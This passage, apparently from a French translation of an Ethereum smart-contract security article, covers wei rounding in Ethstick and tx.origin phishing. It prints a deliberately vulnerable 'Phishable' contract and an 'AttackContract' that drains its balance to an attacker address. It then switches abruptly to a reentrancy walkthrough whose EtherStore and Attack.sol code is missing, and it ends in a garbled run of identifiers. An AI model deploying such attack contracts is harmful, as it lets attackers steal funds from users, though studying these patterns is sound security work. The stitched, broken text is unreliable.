Faute de bon exemple, je veux attirer votre attention sur Ethstick principalement parce que j'aime la dénomination sympa utilisée dans le contrat. Ce contrat n'utilise aucune précision étendue, mais il traite avec wei. Ce contrat aura donc des problèmes d'arrondi, mais uniquement au niveau de précision du wei. Il présente des défauts plus graves, mais ceux-ci sont liés à la difficulté d'obtenir de l'entropie sur la blockchain (voir Illusion de l'entropie). Pour une discussion plus approfondie sur le contrat Ethstick, je vous renvoie à un autre article de Peter Venesses, Ethereum Contracts Are Going to be Candy For Hackers.
Solidity possède une variable globale, tx.origin, qui parcourt toute la pile d'appels et renvoie l'adresse du compte qui a envoyé à l'origine l'appel (ou la transaction). L'utilisation de cette variable pour l'authentification dans les contrats intelligents rend le contrat vulnérable à une attaque de type hameçonnage.
Pour en savoir plus, voir Question Stack Exchange, Blog de Peter Venesses et Solidity - Attaques Tx.Origin.
Les contrats qui autorisent les utilisateurs à l'aide de la variable tx.origin sont généralement vulnérables aux attaques de hameçonnage qui peuvent amener les utilisateurs à effectuer des actions authentifiées sur le contrat vulnérable.
Considérez le contrat simple,```solidity contract Phishable { address public owner;
constructor (address _owner) {
owner = _owner;
}
function () public payable {} // collect ether
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
Notez que sur la ligne \[11\] ce contrat autorise la fonction `withdrawAll()` en utilisant `tx.origin`. Ce contrat permet à un attaquant de créer un contrat d’attaque de la forme,```solidity
import "Phishable.sol";
contract AttackContract {
Phishable phishableContract;
address attacker; // The attackers address to receive funds.
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () payable {
phishableContract.withdrawAll(attacker);
}
}
Attack.sol - Ligne [26] - Le solde total du contrat EtherStore était de 10 ether et est maintenant de 9 ether, donc cette instruction if est satisfaite.
Attack.sol - Ligne [27] - La fonction fallback appelle alors à nouveau la fonction withdrawFunds() d'EtherStore et "réentre" dans le contrat EtherStore.
EtherStore.sol - Ligne [11] - Lors de ce second appel à withdrawFunds(), notre solde est toujours de 1 ether car la ligne [18] n'a pas encore été exécutée. Ainsi, nous avons toujours balances[0x0..123] = 1 ether. C'est également le cas pour la variable lastWithdrawTime. Là encore, nous satisfaisons toutes les exigences.
EtherStore.sol - Ligne [17] - Nous retirons un autre 1 ether.
Les étapes 4-8 se répéteront - jusqu'à ce que EtherStore.balance >= 1 comme l'impose la ligne [26] de Attack.sol.
Attack.sol - Ligne [26] - Une fois qu'il ne reste plus que 1 (ou moins) ether dans le contrat EtherStore, cette instruction if échouera. Cela permettra alors l'exécution des lignes [18] et [19] du contrat EtherStore (pour chaque appel à la fonction withdrawFunds()).
EtherStore.sol - Lignes [18] et [19] - Les mappings balances et lastWithdrawTime seront définis et l'exécution se terminera.
startFibonacciBalancestartslot[1]fibonacci(n)fibonacciLibraryuintwithdraw()uint(fibonacciLibrary)calculatedFibNumber